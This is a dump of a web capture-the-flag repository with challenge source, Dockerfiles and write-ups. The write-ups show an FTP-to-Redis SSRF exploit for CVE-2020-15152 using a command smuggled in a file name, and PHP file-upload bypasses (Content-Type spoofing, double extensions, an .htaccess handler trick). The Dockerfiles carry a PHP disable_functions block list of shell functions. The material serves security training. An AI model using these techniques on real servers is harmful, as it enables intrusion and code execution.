⠀⠉⠈⠉⠀⠀⢦⡈⢻⣿⣿⣿⣶⣶⣶⣶⣤⣽⡹⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀ 10 | ⠀⠀⠀⠀⠀⠀⠀⠉⠲⣽⡻⢿⣿⣿⣿⣿⣿⣿⣷⣜⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀ 11 | ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣷⣶⣮⣭⣽⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀ 12 | ⠀⠀⠀⠀⠀⠀⣀⣀⣈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀ 13 | ⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀ 14 | ⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀ 15 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠻⠿⠿⠿⠿⠛⠉ -------------------------------------------------------------------------------- /challenges/web/pastagen/src/pastas/skeleton.txt: -------------------------------------------------------------------------------- 1 | ▒▒▒░░░░░░░░░░▄▐░░░░ 2 | ▒░░░░░░▄▄▄░░▄██▄░░░ 3 | ░░░░░░▐▀█▀▌░░░░▀█▄░ 4 | ░░░░░░▐█▄█▌░░░░░░▀█▄ 5 | ░░░░░░░▀▄▀░░░▄▄▄▄▄▀▀ 6 | ░░░░░▄▄▄██▀▀▀▀░░░░░ 7 | ░░░░█▀▄▄▄█░▀▀░░░░░░ 8 | ░░░░▌░▄▄▄▐▌▀▀▀░░░░░ 9 | ░▄░▐░░░▄▄░█░▀▀░░░░░ 10 | ░▀█▌░░░▄░▀█▀░▀░░░░░ 11 | ░░░░░░░░▄▄▐▌▄▄░░░░░ 12 | ░░░░░░░░▀███▀█░▄░░░ 13 | ░░░░░░░▐▌▀▄▀▄▀▐▄░░░ 14 | ░░░░░░░▐▀░░░░░░▐▌░░ 15 | ░░░░░░░█░░░░░░░░█░░ 16 | ░░░░░░▐▌░░░░░░░░░█░ -------------------------------------------------------------------------------- /challenges/web/pastagen/src/pastas/spider.txt: -------------------------------------------------------------------------------- 1 | ░░░░░░░░░░░░░░░░░░░░░░░ 2 | ░░░░░▒░░░░░░░░▐▌░░░░░░░ 3 | ░░▐░░▓░░░░░░░░▓░░░░▄▄░░ 4 | ░░▐▌░▀▌░░░░░░▄░░▄▒▀▀░░░ 5 | ░░░▀▒░▐▄░▄░▐▐▌░▓▀░░░░░░ 6 | ░░░░░▀▄▐▄▄▄▄▐▌▓░░░░░░░░ 7 | ░░░░░░░▀▐███▓▀░░░░░░░░░ 8 | ░░░░░░░▄▄▐█▓▓▄░░░░░░░░░ 9 | ░░░░░▄▀▀▓▓▓▓▓▀▀▄░░░░░░░ 10 | ░░░▄▀░░▐▌▐█▌▐▌░░▀▒▄░░░░ 11 | ░░░▐░░▐▀░░▀▀░▒░░░░▀░░░░ 12 | ░░░░░▐▌░░░░░░░▒░░░░░░░░ 13 | ░░░░▄▒░░░░░░░░░▀░░░░░░░ -------------------------------------------------------------------------------- /challenges/web/pastagen/src/pastas/thinking.txt: -------------------------------------------------------------------------------- 1 | ▒▒▒▒▒▒▒▒▄▄▄▄▄▄▄▄▒▒▒▒▒▒▒▒ 2 | ▒▒▒▒▒▄█▀▀░░░░░░▀▀█▄▒▒▒▒▒ 3 | ▒▒▒▄█▀▄██▄░░░░░░░░▀█▄▒▒▒ 4 | ▒▒█▀░▀░░▄▀░░░░▄▀▀▀▀░▀█▒▒ 5 | ▒█▀░░░░███░░░░▄█▄░░░░▀█▒ 6 | ▒█░░░░░░▀░░░░░▀█▀░░░░░█▒ 7 | ▒█░░░░░░░░░░░░░░░░░░░░█▒ 8 | ▒█░░██▄░░▀▀▀▀▄▄░░░░░░░█▒ 9 | ▒▀█░█░█░░░▄▄▄▄▄░░░░░░█▀▒ 10 | ▒▒▀█▀░▀▀▀▀░▄▄▄▀░░░░▄█▀▒▒ 11 | ▒▒▒█░░░░░░▀█░░░░░▄█▀▒▒▒▒ 12 | ▒▒▒█▄░░░░░▀█▄▄▄█▀▀▒▒▒▒▒▒ 13 | ▒▒▒▒▀▀▀▀▀▀▀▒▒▒▒▒▒▒▒▒▒▒▒▒ -------------------------------------------------------------------------------- /challenges/web/pastagen/src/pastas/toucan.txt: -------------------------------------------------------------------------------- 1 | ░░░░░░░░▄▄▄▀▀▀▄▄███▄░░░░░░░░░░░░░░ 2 | ░░░░░▄▀▀░░░░░░░▐░▀██▌░░░░░░░░░░░░░ 3 | ░░░▄▀░░░░▄▄███░▌▀▀░▀█░░░░░░░░░░░░░ 4 | ░░▄█░░▄▀▀▒▒▒▒▒▄▐░░░░█▌░░░░░░░░░░░░ 5 | ░▐█▀▄▀▄▄▄▄▀▀▀▀▌░░░░░▐█▄░░░░░░░░░░░ 6 | ░▌▄▄▀▀░░░░░░░░▌░░░░▄███████▄░░░░░░ 7 | ░░░░░░░░░░░░░▐░░░░▐███████████▄░░░ 8 | ░░░░░le░░░░░░░▐░░░░▐█████████████▄ 9 | ░░░░toucan░░░░░░▀▄░░░▐█████████████▄ 10 | ░░░░░░has░░░░░░░░▀▄▄███████████████ 11 | ░░░░░arrived░░░░░░░░░░░░█▀██████░░ -------------------------------------------------------------------------------- /challenges/web/pastagen/src/pastas/trollface.txt: -------------------------------------------------------------------------------- 1 | ░░░░░▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄░░░░░░░ 2 | ░░░░░█░░░░▒▒▒▒▒▒▒▒▒▒▒▒░░▀▀▄░░░░ 3 | ░░░░█░░░▒▒▒▒▒▒░░░░░░░░▒▒▒░░█░░░ 4 | ░░░█░░░░░░▄██▀▄▄░░░░░▄▄▄░░░░█░░ 5 | ░▄▀▒▄▄▄▒░█▀▀▀▀▄▄█░░░██▄▄█░░░░█░ 6 | █░▒█▒▄░▀▄▄▄▀░░░░░░░░█░░░▒▒▒▒▒░█ 7 | █░▒█░█▀▄▄░░░░░█▀░░░░▀▄░░▄▀▀▀▄▒█ 8 | ░█░▀▄░█▄░█▀▄▄░▀░▀▀░▄▄▀░░░░█░░█░ 9 | ░░█░░░▀▄▀█▄▄░█▀▀▀▄▄▄▄▀▀█▀██░█░░ 10 | ░░░█░░░░██░░▀█▄▄▄█▄▄█▄████░█░░░ 11 | ░░░░█░░░░▀▀▄░█░░░█░█▀██████░█░░ 12 | ░░░░░▀▄░░░░░▀▀▄▄▄█▄█▄█▄█▄▀░░█░░ 13 | ░░░░░░░▀▄▄░▒▒▒▒░░░░░░░░░░▒░░░█░ 14 | ░░░░░░░░░░▀▀▄▄░▒▒▒▒▒▒▒▒▒▒░░░░█░ 15 | ░░░░░░░░░░░░░░▀▄▄▄▄▄░░░░░░░░█░░ -------------------------------------------------------------------------------- /challenges/web/pastagen/src/pastas/yee.txt: -------------------------------------------------------------------------------- 1 | ░░░░░░░░░░░░░▄███▄▄▄░░░░░░░ 2 | ░░░░░░░░░▄▄▄██▀▀▀▀███▄░░░░░ 3 | ░░░░░░░▄▀▀░░░░░░░░░░░▀█░░░░ 4 | ░░░░▄▄▀░░░░░░░░░░░░░░░▀█░░░ 5 | ░░░█░░░░░▀▄░░▄▀░░░░░░░░█░░░ 6 | ░░░▐██▄░░▀▄▀▀▄▀░░▄██▀░▐▌░░░ 7 | ░░░█▀█░▀░░░▀▀░░░▀░█▀░░▐▌░░░ 8 | ░░░█░░▀▐░░░░░░░░▌▀░░░░░█░░░ 9 | ░░░█░░░░░░░░░░░░░░░░░░░█░░░ 10 | ░░░░█░░▀▄░░░░▄▀░░░░░░░░█░░░ 11 | ░░░░█░░░░░░░░░░░▄▄░░░░█░░░░ 12 | ░░░░░█▀██▀▀▀▀██▀░░░░░░█░░░░ 13 | ░░░░░█░░▀████▀░░░░░░░█░░░░░ 14 | ░░░░░░█░░░░░░░░░░░░▄█░░░░░░ 15 | ░░░░░░░██░░░░░█▄▄▀▀░█░░░░░░ 16 | ░░░░░░░░▀▀█▀▀▀▀░░░░░░█░░░░░ 17 | ░░░░░░░░░█░░░░░░░░░░░░█░░░░ -------------------------------------------------------------------------------- /challenges/web/pastagen/src/wowe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/pastagen/src/wowe.png -------------------------------------------------------------------------------- /challenges/web/plusbassoumissionnaire/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.0.10-apache 2 | 3 | RUN apt-get update -y && apt-get upgrade -y 4 | 5 | RUN useradd flag -c "flag-a4c73faf76b6db78c1921b32dfbe4b23de0ce255" 6 | 7 | COPY src /var/www/html 8 | RUN chmod -R 555 /var/www/html 9 | 10 | RUN echo "ServerTokens Prod" >> /etc/apache2/apache2.conf 11 | RUN echo "ServerSignature Off" >> /etc/apache2/apache2.conf 12 | 13 | RUN find / -execdir touch -t 203708261532 {} \; 2> /dev/null 14 | -------------------------------------------------------------------------------- /challenges/web/plusbassoumissionnaire/src/backups_rpy4qplxikzb3lld46m2v9prw5mm91cqwgkcvw/.htaccess: -------------------------------------------------------------------------------- 1 | Options +Indexes 2 | -------------------------------------------------------------------------------- /challenges/web/plusbassoumissionnaire/src/backups_rpy4qplxikzb3lld46m2v9prw5mm91cqwgkcvw/courriel d'audit.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/plusbassoumissionnaire/src/backups_rpy4qplxikzb3lld46m2v9prw5mm91cqwgkcvw/courriel d'audit.pdf -------------------------------------------------------------------------------- /challenges/web/plusbassoumissionnaire/src/backups_rpy4qplxikzb3lld46m2v9prw5mm91cqwgkcvw/users.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/plusbassoumissionnaire/src/backups_rpy4qplxikzb3lld46m2v9prw5mm91cqwgkcvw/users.db -------------------------------------------------------------------------------- /challenges/web/plusbassoumissionnaire/src/logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/plusbassoumissionnaire/src/logo.jpg -------------------------------------------------------------------------------- /challenges/web/plusbassoumissionnaire/src/robots.txt: -------------------------------------------------------------------------------- 1 | User-agent: * 2 | Allow: / 3 | 4 | User-agent: * 5 | Disallow: /backups_rpy4qplxikzb3lld46m2v9prw5mm91cqwgkcvw 6 | -------------------------------------------------------------------------------- /challenges/web/storengo/.dockerignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /out -------------------------------------------------------------------------------- /challenges/web/storengo/.gitignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /out 3 | /src/userdata 4 | !/src/userdata/.gitkeep -------------------------------------------------------------------------------- /challenges/web/storengo/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:fermium AS build 2 | 3 | RUN apt-get update && \ 4 | apt-get install zip -y 5 | 6 | RUN mkdir /app 7 | WORKDIR /app 8 | 9 | COPY ./*.json /app/ 10 | RUN npm install 11 | 12 | COPY ./src /app/src 13 | RUN npm run build 14 | 15 | WORKDIR /app/src 16 | RUN zip -r ../out/static/source.zip . 17 | 18 | FROM node:fermium 19 | 20 | RUN apt-get update && \ 21 | apt-get install redis-server -y 22 | 23 | RUN mkdir /app 24 | WORKDIR /app 25 | 26 | ENV NODE_ENV production 27 | 28 | COPY --from=build /app/package* /app/ 29 | COPY --from=build /app/node_modules /app/node_modules 30 | 31 | COPY --from=build /app/out /app 32 | 33 | RUN npm prune 34 | 35 | COPY ./entrypoint.sh / 36 | 37 | ENV SECRET=Wn7D4NYgt0A72VK6Jwjj8jOFwmWVz3D73Bjwrz88SHe1IuyxtjxtdxAhy8zU 38 | 39 | RUN chown node:node /app/userdata 40 | RUN mkdir /app/userdata/admin 41 | RUN echo "FLAG-TALKING_TO_REDIS_THROUGH_FTP" > /app/userdata/admin/flag 42 | 43 | USER node 44 | CMD [ "/entrypoint.sh" ] 45 | -------------------------------------------------------------------------------- /challenges/web/storengo/README.md: -------------------------------------------------------------------------------- 1 | # SSRF FTP->REDIS 2 | > Web 3 | Author: @KptCheeseWhiz 4 | 5 | ## Challenge 6 | I found this cool application on the internet. I bet it's super old since it's still using good ol' FTP. I hope they kept their dependencies up to date.. 7 | 8 | ## Write up 9 | 10 | Old challenge never solved, was a 0day at the time, but now it has a CVE-2020-15152 11 | 12 | Using the same credentials (eg: `rootroot:rootroot`) 13 | 14 | 1. Login on the FTP server with a ftp client 15 | 2. Try downloading a file name `test`, you will see an error with the path which contains your `hash` or call the `/api/is_admin` 16 | 3. Create a file named `set YOUR_HASH_admin 1` (replace YOUR_HASH) on your computer 17 | 4. Upload the file on the FTP server with `put "set YOUR_HASH_admin 1"` 18 | 5. Login back on the FTP server with telnet and enter these commands (this basicly send the dirlist to the redis server which will interpret it as commands) 19 | 1. USER rootroot 20 | 2. PASS rootroot 21 | 3. PORT 127,0,0,1,0,6379 22 | 4. NLST 23 | 5. QUIT 24 | 6. Login back on the FTP server with a ftp client 25 | 7. Download the file named flag 26 | 27 | ## Setup 28 | 29 | ### Requirements 30 | - docker 31 | - docker-compose 32 | 33 | ### How to run 34 | - Execute the command `docker-compose up` -------------------------------------------------------------------------------- /challenges/web/storengo/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.0" 2 | 3 | services: 4 | app: 5 | build: . 6 | restart: "unless-stopped" 7 | environment: 8 | - FTP_PASV_MIN=5002 9 | - FTP_PASV_MAX=5100 10 | - FTP_PASV_IP=127.0.0.1 11 | - FTP_PORT=5001 12 | - HTTP_PORT=5000 13 | ports: 14 | - "5000-5100:5000-5100" -------------------------------------------------------------------------------- /challenges/web/storengo/entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | { while :; do redis-server --save "" --appendonly no; done; } & 4 | { while :; do node /app/ftp.js; done } & 5 | node /app/http.js -------------------------------------------------------------------------------- /challenges/web/storengo/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "storengo", 3 | "version": "1.0.0", 4 | "description": "CVE-2020-15152", 5 | "scripts": { 6 | "build": "npm run clean && tsc && cp package* ./out && cp -R ./src/static ./out && mkdir ./out/userdata", 7 | "clean": "(rm -rf ./out || true)" 8 | }, 9 | "keywords": [], 10 | "author": "", 11 | "license": "ISC", 12 | "dependencies": { 13 | "connect-redis": "^6.0.0", 14 | "express": "^4.17.1", 15 | "express-session": "^1.17.2", 16 | "ftp-srv": "4.3.3", 17 | "multer": "^1.4.3", 18 | "redis": "^3.1.2" 19 | }, 20 | "devDependencies": { 21 | "@types/connect-redis": "^0.0.17", 22 | "@types/express": "^4.17.13", 23 | "@types/express-session": "^1.17.4", 24 | "@types/multer": "^1.4.7", 25 | "@types/redis": "^2.8.32", 26 | "ts-node": "^10.2.1", 27 | "typescript": "^4.4.3" 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /challenges/web/storengo/src/static/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/storengo/src/static/favicon.png -------------------------------------------------------------------------------- /challenges/web/storengo/src/static/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Store'N'Go 7 | 8 | 9 | 10 | 11 | 12 | 13 |

Store'N'Go: A new retro way to store files!

14 |

15 | Everyone can login, if you account doesn't exist, it will be created on the fly 16 |
17 | You can use this HTTP server or the FTP server on the next port to upload and download your files 18 |

19 |

20 |

21 | 22 | 23 | 24 |
25 |

26 |
the source code can be found here
27 |
Copyright Store'N'Go ©1998-2019
28 | 29 | 30 | -------------------------------------------------------------------------------- /challenges/web/storengo/src/static/style.css: -------------------------------------------------------------------------------- 1 | html { 2 | background-image: url(favicon.png); 3 | background-color: black; 4 | 5 | height: 100vh; 6 | width: 100vw; 7 | 8 | font-family: "Permanent Marker"; 9 | color: black; 10 | } 11 | 12 | body { 13 | background-color: rgba(255, 255, 255, 0.8); 14 | border-radius: 25px; 15 | padding: 10px; 16 | } 17 | -------------------------------------------------------------------------------- /challenges/web/storengo/src/userdata/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/storengo/src/userdata/.gitkeep -------------------------------------------------------------------------------- /challenges/web/storengo/src/utils/crypto.ts: -------------------------------------------------------------------------------- 1 | import * as crypto from "crypto"; 2 | 3 | export const md5 = (str: string) => 4 | crypto 5 | .createHash("md5") 6 | .update(str) 7 | .digest("hex"); 8 | -------------------------------------------------------------------------------- /challenges/web/storengo/src/utils/redis.ts: -------------------------------------------------------------------------------- 1 | import * as redis from "redis"; 2 | 3 | export const exists = async ( 4 | client: redis.RedisClient, 5 | ...p: any[] 6 | ): Promise => { 7 | return new Promise((resolve, reject) => { 8 | client.exists(...p, (err: Error, reply: number) => { 9 | if (err) reject(err); 10 | else resolve(!!reply); 11 | }); 12 | }); 13 | }; 14 | -------------------------------------------------------------------------------- /challenges/web/storengo/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es6", 4 | "moduleResolution": "node", 5 | "module": "commonjs", 6 | "declaration": false, 7 | "noLib": false, 8 | "emitDecoratorMetadata": true, 9 | "experimentalDecorators": true, 10 | "pretty": true, 11 | "allowUnreachableCode": true, 12 | "allowUnusedLabels": true, 13 | "noImplicitAny": true, 14 | "noImplicitReturns": false, 15 | "noImplicitUseStrict": false, 16 | "outDir": "out/", 17 | "baseUrl": "src/", 18 | "listFiles": true 19 | }, 20 | "include": ["./**/*"], 21 | "exclude": ["node_modules"], 22 | "compileOnSave": false 23 | } 24 | -------------------------------------------------------------------------------- /challenges/web/upload1/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.0.10-apache 2 | 3 | RUN apt-get update -y && apt-get upgrade -y 4 | 5 | COPY src /var/www/html 6 | RUN mkdir /var/www/html/uploads 7 | 8 | RUN chown -R root:www-data /var/www/html/uploads 9 | RUN chmod -R 755 /var/www/html 10 | RUN chmod -R 733 /var/www/html/uploads 11 | 12 | RUN echo "disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source" >> /usr/local/etc/php/php.ini 13 | 14 | -------------------------------------------------------------------------------- /challenges/web/upload1/README.md: -------------------------------------------------------------------------------- 1 | # File upload vulnerability 1 2 | 3 | > web 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | Les vulnérabilités de téléversement de fichier permettent d'exécuter son propre code sur un serveur web. La vulnérabilité existe lorsque les fichiers téléversés ne sont pas bien filtrés. Par exemple, un site peut permettre que de téléverser des images. Cependant, si les restrictions ne sont pas implémentées de façon rigoureuse dans l'application, il serait possible de téléverser des fichiers PHP avec notre propre code. 8 | 9 | Le flag se cache dans le code source de l'application. Effectuez une lecture du code source en exploitant cette vulnérabilité. 10 | 11 | ## Setup 12 | 13 | Requirements: 14 | - BurpSuite 15 | 16 | # Writeup 17 | 18 | Vous devez utiliser un script PHP comme celui-ci: 19 | 20 | ``` 21 | 24 | ``` 25 | 26 | La conversion en Base64 n'est pas nécessaire, car lorsque le fichier PHP sera interprété, le flag qui est en commentaire dans le code source et se retrouvera affichée lorsqu'on fera Ctrl+U. 27 | 28 | Flag: `flag-5f087c95fd24e2d8feef96nosecuritywhatsoever` 29 | -------------------------------------------------------------------------------- /challenges/web/upload1/src/.htaccess: -------------------------------------------------------------------------------- 1 | php_flag display_startup_errors off 2 | -------------------------------------------------------------------------------- /challenges/web/upload1/src/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/upload1/src/logo.png -------------------------------------------------------------------------------- /challenges/web/upload2/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.0.10-apache 2 | 3 | RUN apt-get update -y && apt-get upgrade -y 4 | 5 | COPY src /var/www/html 6 | RUN mkdir /var/www/html/uploads 7 | 8 | RUN chown -R root:www-data /var/www/html/uploads 9 | RUN chmod -R 755 /var/www/html 10 | RUN chmod -R 733 /var/www/html/uploads 11 | 12 | RUN echo "disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source" >> /usr/local/etc/php/php.ini 13 | 14 | -------------------------------------------------------------------------------- /challenges/web/upload2/README.md: -------------------------------------------------------------------------------- 1 | # File upload vulnerability 2 2 | 3 | > web 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | Pour ce second défi, la sécurité de l'application a été solidifiée. L'application empêche de téléverser n'importe quel type de fichier, mais cette vérification dépend de l'information qui lui est donnée par le navigateur web de l'utilisateur... 8 | 9 | ## Setup 10 | 11 | Requirements: 12 | - BurpSuite 13 | 14 | # Writeup 15 | 16 | Vous devez téléverser un fichier comme dans `File upload vulnerability 1`, cependant, l'application vérifie le champ `Content-Type` du téléversement. 17 | 18 | Donc, `Content-Type: application/x-php` ne fonctionnera pas, car l'application détermine que ce n'est pas une image. Par contre, on peut utiliser `Content-Type: image/jpeg` afin que le fichier se téléverse avec succès. 19 | 20 | Flag: `flag-b425938e434797462192relyingontheclientside` 21 | -------------------------------------------------------------------------------- /challenges/web/upload2/src/.htaccess: -------------------------------------------------------------------------------- 1 | php_flag display_startup_errors off 2 | -------------------------------------------------------------------------------- /challenges/web/upload2/src/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/upload2/src/logo.png -------------------------------------------------------------------------------- /challenges/web/upload3/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.0.10-apache 2 | 3 | RUN apt-get update -y && apt-get upgrade -y 4 | 5 | COPY src /var/www/html 6 | RUN mkdir /var/www/html/uploads 7 | 8 | RUN chown -R root:www-data /var/www/html/uploads 9 | RUN chmod -R 755 /var/www/html 10 | RUN chmod -R 733 /var/www/html/uploads 11 | 12 | RUN echo "disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source" >> /usr/local/etc/php/php.ini 13 | 14 | -------------------------------------------------------------------------------- /challenges/web/upload3/README.md: -------------------------------------------------------------------------------- 1 | # File upload vulnerability 3 2 | 3 | > web 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | Pour ce troisième défi, la sécurité de l'application a été solidifiée (un peu). L'application effectue une vérification de plus afin de se protéger. 8 | 9 | ## Setup 10 | 11 | Requirements: 12 | - BurpSuite 13 | 14 | # Writeup 15 | 16 | Vous devez téléverser un fichier avec la même procédure que dans `File upload vulnerability 2`, cependant, l'application vérifie l'extension du fichier. Par contre, l'extension peut être n'importe où dans le nom du fichier. On peut donc téléverser un fichier `index.jpg.php`. 17 | 18 | Flag: `flag-80643872d1740e1544606nevertrusttheuser` 19 | -------------------------------------------------------------------------------- /challenges/web/upload3/src/.htaccess: -------------------------------------------------------------------------------- 1 | php_flag display_startup_errors off 2 | -------------------------------------------------------------------------------- /challenges/web/upload3/src/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/upload3/src/logo.png -------------------------------------------------------------------------------- /challenges/web/upload4/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.0.10-apache 2 | 3 | RUN apt-get update -y && apt-get upgrade -y 4 | 5 | COPY src /var/www/html 6 | RUN mkdir /var/www/html/uploads 7 | 8 | RUN chown -R root:www-data /var/www/html/uploads 9 | RUN chmod -R 755 /var/www/html 10 | RUN chmod -R 733 /var/www/html/uploads 11 | 12 | RUN echo "disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source" >> /usr/local/etc/php/php.ini 13 | 14 | -------------------------------------------------------------------------------- /challenges/web/upload4/README.md: -------------------------------------------------------------------------------- 1 | # File upload vulnerability 4 2 | 3 | > web 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | Pour ce quatrième défi, le concepteur du site web a remplacé son mécanisme de validation des extensions afin d'interdire tout fichier qui a une extension ".php" et les extensions similaires qui sont des scripts qui peuvent s'exécuter. Il pense que cela est plus efficace. 8 | 9 | ## Setup 10 | 11 | Requirements: 12 | - BurpSuite 13 | 14 | # Writeup 15 | 16 | En faisant des tests, on découvre que le site permet tous les types de fichiers. Il ne prévient que le téléversement de fichiers PHP, templates PHP, etc. 17 | 18 | On peut donc forcer l'exécution d'autres fichiers comme du PHP. Voici un exemple avec les fichiers .png: 19 | 20 | Dans un fichier `.htaccess`, téléverser: 21 | ``` 22 | AddHandler application/x-httpd-php .png 23 | ``` 24 | 25 | On pourra ensuite téléverser des fichiers "PNG" qui, lorsque accédés, seront exécutés comme du PHP. 26 | 27 | On peut obtenir le flag: 28 | 29 | Flag: `flag-08dfacc89843e423blacklistsaredangerous` 30 | -------------------------------------------------------------------------------- /challenges/web/upload4/src/.htaccess: -------------------------------------------------------------------------------- 1 | php_flag display_startup_errors off 2 | -------------------------------------------------------------------------------- /challenges/web/upload4/src/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/upload4/src/logo.png -------------------------------------------------------------------------------- /challenges/web/wasm/.dockerignore: -------------------------------------------------------------------------------- 1 | .dockerignore 2 | .gitignore 3 | .venv 4 | .vscode 5 | Dockerfile 6 | docker-compose* 7 | -------------------------------------------------------------------------------- /challenges/web/wasm/.gitignore: -------------------------------------------------------------------------------- 1 | .venv 2 | .vscode 3 | -------------------------------------------------------------------------------- /challenges/web/wasm/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python 2 | 3 | WORKDIR /app 4 | 5 | COPY . . 6 | 7 | RUN pip3 install -r ./web/requirements.txt 8 | 9 | EXPOSE 6969 10 | 11 | CMD python3 ./web/app.py 12 | -------------------------------------------------------------------------------- /challenges/web/wasm/challenge/FLAG: -------------------------------------------------------------------------------- 1 | FLAG-you_can_debug_wasm -------------------------------------------------------------------------------- /challenges/web/wasm/challenge/KEY: -------------------------------------------------------------------------------- 1 | this_is_not_the_flag -------------------------------------------------------------------------------- /challenges/web/wasm/docker-compose.dev.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | web: 5 | container_name: debug-wasm-dev 6 | ports: 7 | - "6969:6969" 8 | environment: 9 | PORT: 6969 10 | ENVIRONMENT: "development" 11 | build: 12 | context: . 13 | dockerfile: Dockerfile 14 | restart: always 15 | healthcheck: 16 | test: curl -f http://localhost:6969/healthcheck || false 17 | interval: 60s 18 | timeout: 3s 19 | volumes: 20 | - ./wasm:/app/wasm 21 | - ./web:/app/web 22 | - ./challenge:/app/challenge 23 | -------------------------------------------------------------------------------- /challenges/web/wasm/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | web: 5 | container_name: debug-wasm-prod 6 | ports: 7 | - "6969:6969" 8 | environment: 9 | PORT: 6969 10 | ENVIRONMENT: "production" 11 | build: 12 | context: . 13 | dockerfile: Dockerfile 14 | restart: always 15 | healthcheck: 16 | test: curl -f http://localhost:6969/healthcheck || false 17 | interval: 60s 18 | timeout: 3s 19 | -------------------------------------------------------------------------------- /challenges/web/wasm/web/app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, render_template, Response, send_from_directory 2 | from ppci import wasm 3 | import os 4 | 5 | app = Flask(__name__) 6 | 7 | with open('./challenge/FLAG') as h: 8 | FLAG = h.read().encode('utf8') 9 | 10 | with open('./challenge/KEY') as h: 11 | KEY = h.read().encode('utf8') 12 | 13 | def encrypt_data(flag: bytes, key: bytes): 14 | rev_key = bytes(reversed(key)) * 10 15 | 16 | encrypt = ''.join(f'\\{hex((d ^ k) + 1)[2:].zfill(2)}' for d, k in zip(flag, rev_key)) 17 | 18 | return f"{key.decode('utf8')}\\00{encrypt}" 19 | 20 | def decrypt_flag(data): 21 | key, encoded_flag = data.split('\\00') 22 | rev_key = bytes(reversed(key.encode('utf8'))) * 10 23 | 24 | encrypted_flag = [int(h, 16) for h in encoded_flag.split('\\')[1:]] 25 | 26 | return ''.join(chr((e - 1) ^ k) for e, k in zip(encrypted_flag, rev_key)).encode('utf8') 27 | 28 | @app.route('/') 29 | def home(): 30 | return render_template("index.html") 31 | 32 | @app.route('/healthcheck') 33 | def test(): 34 | data = encrypt_data(FLAG, KEY) 35 | flag = decrypt_flag(data) 36 | 37 | return ('OK' if flag == FLAG else 'ERROR', 200 if flag == FLAG else 500) 38 | 39 | @app.route('/public/') 40 | def public(path): 41 | return send_from_directory('public', path) 42 | 43 | @app.route('/challenge.wasm') 44 | def challenge(): 45 | with open('./wasm/challenge.wat') as h: 46 | source = ''.join(h.readlines()) 47 | 48 | source_data = source.replace("DATA", encrypt_data(FLAG, KEY)) 49 